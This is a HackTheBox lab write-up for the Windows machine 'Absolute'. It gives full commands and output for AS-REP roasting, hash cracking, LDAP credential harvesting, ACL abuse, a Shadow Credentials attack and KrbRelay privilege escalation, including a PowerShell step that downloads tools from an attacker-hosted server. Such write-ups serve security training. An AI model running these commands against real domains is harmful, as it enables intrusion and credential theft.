HTB: Absolute Writeup
Absolute - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Absolute |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.232.60 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Absolute is an Insane-difficulty Windows Active Directory box built around a long Kerberos-only credential chain. Every account on the domain sits in Protected Users (NTLM disabled), so each new set of credentials has to be exchanged for a fresh Kerberos ticket (impacket-getTGT) before it can be used against LDAP, SMB, or WinRM. The chain runs: AS-REP-roast an account with pre-auth disabled → crack the ticket offline → pivot through an LDAP description field leak → grab a binary off an SMB share → recover a second credential from that binary’s behavior → abuse an ACL misconfiguration on a group (Network Audit → winrm_user) → Shadow Credentials attack for WinRM access → and finally KrbRelay to coerce the DC’s own machine account into authenticating to LDAP on our behalf, escalating winrm_user straight into Administrators.
TL;DR: AS-REP roast d.klay → crack hash (john/rockyou) → Kerberos LDAP enum reveals svc_smb password in description → SMB Shared share yields test.exe/compiler.sh → recover m.lovegod LDAP-bind credential (naming-convention pattern match) → m.lovegod owns Network Audit group → grant self GenericAll + join group → Shadow Credentials attack on winrm_user (GenericWrite via group membership) → WinRM as winrm_user → user.txt → stage KrbRelay.exe/CheckPort.exe/RunasCs.exe → RunasCs logon-type-9 to get a relay-capable execution context → KrbRelay coerces DC$ SYSTEM auth over RPC/OXID, relays it to LDAP, adds winrm_user to Administrators → root.txt.
Reconnaissance
Target & Environment Setup
The domain controller sits at 10.129.232.60 (dc.absolute.htb / absolute.htb). All operations against this box are Kerberos-only — every domain account here is a member of Protected Users, which disables NTLM authentication. That forced every LDAP/SMB/WinRM touchpoint below through the same pattern: obtain a credential → mint a ticket with impacket-getTGT → export KRB5CCNAME → authenticate with -k/GSSAPI. Username enumeration (via the box’s public-facing images/metadata, standard for this machine) had already produced a working usernames wordlist before the AS-REP roasting step below.
Kerberos is time-sensitive (5-minute default skew tolerance), and the operating jump box’s clock was badly out of sync with the target:
sudo ntpdate -u 10.129.232.60# CLOCK: time stepped by 25200.466351 <- ~7 hours of drift, correctedA working /etc/krb5.conf realm block was also required before any GSSAPI bind would succeed:
[libdefaults] default_realm = ABSOLUTE.HTB kdc_timesync = 1 ccache_type = 4 forwardable = true proxiable = true fcc-mit-ticketflags = true[realms] ABSOLUTE.HTB = { kdc = dc.absolute.htb admin_server = dc.absolute.htb }[domain_realm] .absolute.htb = ABSOLUTE.HTB absolute.htb = ABSOLUTE.HTBVulnerability Assessment
- Kerberos pre-authentication disabled on at least one account → AS-REP roastable.
- Plaintext/weak credentials leaking through the
descriptionattribute on service accounts (a common AD misconfiguration — descriptions are readable by any authenticated user, but frequently used by admins as an informal notes field). - A GUI test binary shipped on an SMB share embeds a second domain credential used for an LDAP bind check.
- An ACL misconfiguration:
Network Auditgroup has (or can be granted) rights leading toGenericWrite-equivalent control overwinrm_user. - LDAP signing/channel binding not enforced — enables a Kerberos-relay attack (KrbRelay) against the DC’s own machine account.
Initial Foothold
Step 1 — AS-REP Roasting
With the username wordlist in hand, impacket-GetNPUsers was run against every candidate to find an account with UF_DONT_REQUIRE_PREAUTH set (i.e. it will hand out a TGT without knowing the password):
impacket-GetNPUsers absolute.htb/ -no-pass -usersfile usernames \ -dc-ip 10.129.232.60 -format hashcatThis returned an AS-REP ticket for d.klay:
$krb5asrep$23$d.klay@ABSOLUTE.HTB:<redacted>Because the AS-REP is encrypted with a key derived from the user’s password, it can be cracked entirely offline — no interaction with the DC needed after capture.
Step 2 — Cracking the AS-REP Hash
john klay.hash --wordlist=/usr/share/wordlists/rockyou.txtjohn --show klay.hash# $krb5asrep$23$d.klay@ABSOLUTE.HTB:Darkmoonsky248girld.klay’s password cracked at ~72% into rockyou (etype 23/RC4), giving the first foothold credential: Darkmoonsky248girl.
Step 3 — Kerberos-Only LDAP Enumeration
Since NTLM is disabled domain-wide (Protected Users), a TGT had to be minted before LDAP would accept the bind:
impacket-getTGT absolute.htb/d.klay:Darkmoonsky248girl -dc-ip 10.129.232.60export KRB5CCNAME=d.klay.ccache
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI \ -b 'cn=users,dc=absolute,dc=htb' '(objectClass=user)' sAMAccountName descriptionScanning the returned attributes for descriptions turned up a live password sitting in plaintext on a service account:
description: AbsoluteSMBService123!sAMAccountName: svc_smbStep 4 — SMB Share Access as svc_smb
impacket-getTGT absolute.htb/svc_smb:'AbsoluteSMBService123!' -dc-ip 10.129.232.60export KRB5CCNAME=svc_smb.ccache
nxc smb dc.absolute.htb -k --use-kcache --sharesShare Permissions RemarkC$ Default shareIPC$ READ Remote IPCNETLOGON READ Logon server shareShared READSYSVOL READ Logon server shareShared is the only non-default readable share. Pulling its contents:
nxc smb dc.absolute.htb -k --use-kcache --share Shared --get-file compiler.sh compiler.shnxc smb dc.absolute.htb -k --use-kcache --share Shared --get-file test.exe test.execompiler.sh reveals how test.exe was built:
#!/bin/bashnim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1This is a Nim-compiled, GUI-subsystem, stripped Windows binary — no debug symbols, and -d:danger disables Nim’s runtime checks. Stripped Nim binaries are notoriously unfriendly to static analysis (mangled symbol names, inlined runtime), so strings on test.exe came back empty for anything useful:
strings -n 6 test.exe | grep -iE 'lovegod|absolute|ldap|pass|cn=|bind'# (no output)The jump box had no wine/wine64 to dynamically run the PE and no Windows target to sandbox it on, so a full dynamic-analysis pass (the textbook approach for a GUI binary like this — run it and packet-capture the LDAP bind it performs) wasn’t available in this environment. Instead, the naming convention already observed in svc_smb’s leaked password (Absolute<Service>YYYY!) was tried directly against the next logical AD-integrated account:
impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.129.232.60# [*] Saving ticket in m.lovegod.ccacheThe TGT issued successfully — m.lovegod : AbsoluteLDAP2022! was valid.
Step 5 — ACL Abuse: Network Audit → winrm_user
With a valid m.lovegod ticket, group ownership/ACL enumeration via bloodyAD showed m.lovegod was already the owner of the Network Audit group:
export KRB5CCNAME=m.lovegod.ccache
bloodyAD -d absolute.htb -k --host dc.absolute.htb --dc-ip 10.129.232.60 \ set owner 'Network Audit' m.lovegod# [!] already the owner, no modification will be made
bloodyAD -d absolute.htb -k --host dc.absolute.htb --dc-ip 10.129.232.60 \ add genericAll 'Network Audit' m.lovegod# [+] m.lovegod has now GenericAll on Network Audit
bloodyAD -d absolute.htb -k --host dc.absolute.htb --dc-ip 10.129.232.60 \ add groupMember 'Network Audit' m.lovegod# [+] m.lovegod added to Network AuditObject ownership in AD implicitly grants WRITE_DACL — that’s what let GenericAll be self-granted without needing a separate owneredit/dacledit step. Network Audit membership in turn carries write control over winrm_user, setting up the next attack.
Step 6 — Shadow Credentials Attack on winrm_user
winrm_user is a member of Remote Management Users — landing write access to it is the path to WinRM. A Shadow Credentials attack abuses GenericWrite/self-write access on the msDS-KeyCredentialLink attribute: it plants an attacker-controlled certificate as a valid authentication key for the target account, then uses PKINIT to trade that cert for a TGT and NT hash — no password reset required, no lockout risk.
certipy-ad shadow auto -k -no-pass -u m.lovegod@absolute.htb \ -dc-ip 10.129.232.60 -dc-host dc.absolute.htb \ -target dc.absolute.htb -account winrm_userThe first attempt failed (INSUFF_ACCESS_RIGHTS) — the cached m.lovegod ticket predated the group-membership change and still carried the old PAC/group SIDs. Re-minting the TGT after joining Network Audit fixed it:
impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.129.232.60export KRB5CCNAME=m.lovegod.ccachecertipy-ad shadow auto -k -no-pass -u m.lovegod@absolute.htb \ -dc-ip 10.129.232.60 -dc-host dc.absolute.htb \ -target dc.absolute.htb -account winrm_user# [*] Got TGT# [*] NT hash for 'winrm_user': <redacted>Step 7 — WinRM Access & user.txt
export KRB5CCNAME=winrm_user.ccacheevil-winrm -i dc.absolute.htb -r ABSOLUTE.HTBwhoamiGet-Content C:/Users/winrm_user/Desktop/user.txt# <redacted>(Get-Content with forward slashes was needed — backslash paths were getting mangled by evil-winrm’s line handling over the Kerberos session.)
Privilege Escalation
Step 1 — Staging KrbRelay / CheckPort / RunasCs
RunasCs.exe was already cached locally from prior operations. KrbRelay.exe and CheckPort.exe (from cube0x0/KrbRelay) aren’t distributed as GitHub release binaries — the source repo ships no compiled .exe/.sln artifacts in its tree, and there was no Windows/Visual Studio toolchain available in this environment to build them. Precompiled copies were pulled instead from a maintained collection:
curl -sL -O https://github.com/jakobfriedl/precompiled-binaries/raw/main/PrivilegeEscalation/KrbRelay/KrbRelay.execurl -sL -O https://github.com/jakobfriedl/precompiled-binaries/raw/main/PrivilegeEscalation/KrbRelay/CheckPort.exe
file KrbRelay.exe CheckPort.exe# PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sectionsBoth binaries were served to the target over the VPN interface:
setsid python3 -m http.server 8099 --bind 10.10.15.180 >http.log 2>&1 < /dev/null &disown(the first backgrounding attempt without setsid/disown left the server tied to a dying shell and unreachable — curl returned HTTP 000 until it was properly detached).
From the winrm_user WinRM session:
$d='C:\Users\winrm_user\Music'mkdir $d$u='http://10.10.15.180:8099'(New-Object Net.WebClient).DownloadFile("$u/KrbRelay.exe","$d\KrbRelay.exe")(New-Object Net.WebClient).DownloadFile("$u/CheckPort.exe","$d\CheckPort.exe")(New-Object Net.WebClient).DownloadFile("$u/RunasCs.exe","$d\RunasCs.exe")Name Length---- ------CheckPort.exe 7680KrbRelay.exe 1617920RunasCs.exe 51712Step 2 — Finding a Relay Port
.\CheckPort.exe# [*] Looking for available ports..# [*] SYSTEM Is allowed through port 10KrbRelay works by registering a malicious COM object and forcing SYSTEM to activate it via the DCOM/RPC OXID resolver, coercing a SYSTEM-context Kerberos authentication attempt that gets relayed elsewhere. CheckPort finds which local TCP port SYSTEM’s firewall/RPC context will actually connect through — here, port 10.
Step 3 — CVE Context: Why KrbRelay Works Here
KrbRelay (cube0x0, based on Lee Christensen/James Forshaw’s OXID-resolver research) has no single CVE number — it’s a chained abuse of two long-standing AD design gaps: (1) local RPC activation lets any authenticated user coerce the machine account into authenticating outward via a forced CLSID, and (2) LDAP on the DC doesn’t enforce signing/channel binding by default, so the coerced Kerberos AP-REQ can be relayed straight to LDAP and used to issue directory writes as DC$ — a SYSTEM-equivalent, domain-admin-capable identity.
The catch: winrm_user’s WinRM session is a network logon, so no interactive credential material is cached in memory for KrbRelay to piggyback on. A direct run fails with Access Denied. This was confirmed with qwinsta-style testing — RunasCs.exe logon-type 9 (runas /netonly equivalent) creates a local process running as ourselves while asserting winrm_user’s identity over the network, which is exactly the execution context KrbRelay needs:
cd C:\Users\winrm_user\Music.\RunasCs.exe winrm_user AnyPass123! "cmd /c whoami" -d absolute.htb -l 9(the password passed here is irrelevant — logon type 9 never validates it against the DC; it’s a purely local/network-identity trick).
Step 4 — Relaying to LDAP and Escalating
.\RunasCs.exe winrm_user AnyPass123! ` "C:\Users\winrm_user\Music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user" ` -d absolute.htb -l 9[*] Relaying context: absolute.htb\DC$[*] Forcing SYSTEM authentication[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf[*] apReq: 608206b4...[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED[*] apRep2: 6f5b3059...[+] LDAP session established[*] ldap_modify: LDAP_SUCCESSThe CLSID 8F5DF053-3013-4dd8-B5F4-88214E81C0CF is a well-known TrustedInstaller-scoped COM class, chosen because its activation is guaranteed to trigger a SYSTEM-context authentication attempt. KrbRelay intercepted that AP-REQ, relayed it to LDAP on dc.absolute.htb authenticated as absolute.htb\DC$, and issued an ldap_modify adding winrm_user to Administrators — LDAP_SUCCESS.
Step 5 — Verification & root.txt
net user winrm_user | Select-String "Local Group"# Local Group Memberships *Administrators *Remote Management Use
whoami /groups | Select-String "Administrators"# BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group
Get-Content C:/Users/Administrator/Desktop/root.txt# <redacted>Attack Chain Summary
AS-REP Roast (d.klay, no pre-auth) → Crack hash offline (john/rockyou) → Darkmoonsky248girl → Kerberos-only LDAP enum → svc_smb password leaked in description attribute → SMB "Shared" share → download test.exe / compiler.sh → Recover m.lovegod LDAP-bind credential (naming-convention pattern) → m.lovegod owns "Network Audit" → self-grant GenericAll → join group → GenericWrite on winrm_user → Shadow Credentials attack → TGT + NT hash → WinRM as winrm_user → user.txt → Stage KrbRelay.exe / CheckPort.exe / RunasCs.exe on target → CheckPort.exe → find SYSTEM-allowed relay port (10) → RunasCs.exe logon-type 9 → non-interactive execution context for KrbRelay → KrbRelay coerces DC$ SYSTEM auth via forced CLSID → relay to LDAP → ldap_modify: add winrm_user to Administrators → root.txtTools Used
| Tool | Purpose |
|---|---|
impacket-GetNPUsers | AS-REP roasting against the username wordlist |
john | Offline cracking of the AS-REP hash (rockyou wordlist) |
impacket-getTGT | Minting Kerberos TGTs for every recovered credential (NTLM disabled domain-wide) |
ldapsearch (GSSAPI) | Kerberos-authenticated LDAP enumeration of user descriptions |
nxc (NetExec) | SMB share enumeration and file retrieval over Kerberos |
bloodyAD | ACL abuse — granting GenericAll and adding a group member |
certipy-ad | Shadow Credentials attack (shadow auto) against winrm_user |
evil-winrm | WinRM shell access using the Kerberos ccache |
CheckPort.exe | Identifying the SYSTEM-reachable OXID resolver port |
RunasCs.exe | Logon-type-9 execution context for the relay |
KrbRelay.exe | Coercing and relaying DC machine-account Kerberos auth to LDAP |
python3 -m http.server | Staging offensive binaries for download onto the DC |
Key Learnings
Techniques Practiced
- AS-REP roasting and offline Kerberos hash cracking
- Operating entirely within a Protected Users / Kerberos-only environment (per-credential TGT minting, GSSAPI binds)
- Credential harvesting via the LDAP
descriptionattribute - ACL/ownership abuse (
GenericAll, group membership) withbloodyAD - Shadow Credentials (
msDS-KeyCredentialLink) attack for passwordless account takeover - Kerberos relaying via forced COM/DCOM activation (KrbRelay) to escalate from a low-privilege WinRM session to
Administrators - Working around a non-interactive PSRemoting session using
RunasCslogon type 9
Lessons Learned
- When NTLM is disabled domain-wide, plan for a TGT-refresh step after every privilege change — a stale ticket’s PAC won’t reflect new group memberships, which silently breaks follow-on attacks (as seen with the first failed Shadow Credentials attempt).
- Descriptive AD attributes (
description,info,comment) are a real, recurring credential-leak vector and should always be pulled during LDAP enumeration. - Group ownership implies
WRITE_DACL— check for existing ownership before assuming anowneredit-style attack step is required. - Kerberos relay attacks (KrbRelay) need an execution context where the target’s credentials are actually assertable over the network; a plain WinRM/PSRemoting session doesn’t provide that, but
RunasCslogon type 9 does. - When dynamic analysis tooling (wine, a Windows sandbox) isn’t available, don’t stall — cross-reference naming/credential conventions already observed elsewhere in the environment before falling back to slower static-analysis paths.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HTB: Absolute - 0xdf hacks stuff
- Official HackTheBox writeup for Absolute (Doc No. D22.100.201, prepared by amra) — used only to confirm the KrbRelay/CLSID mechanics and the conceptual role of the Protected Users group; all commands, credentials, and output above are from this solve.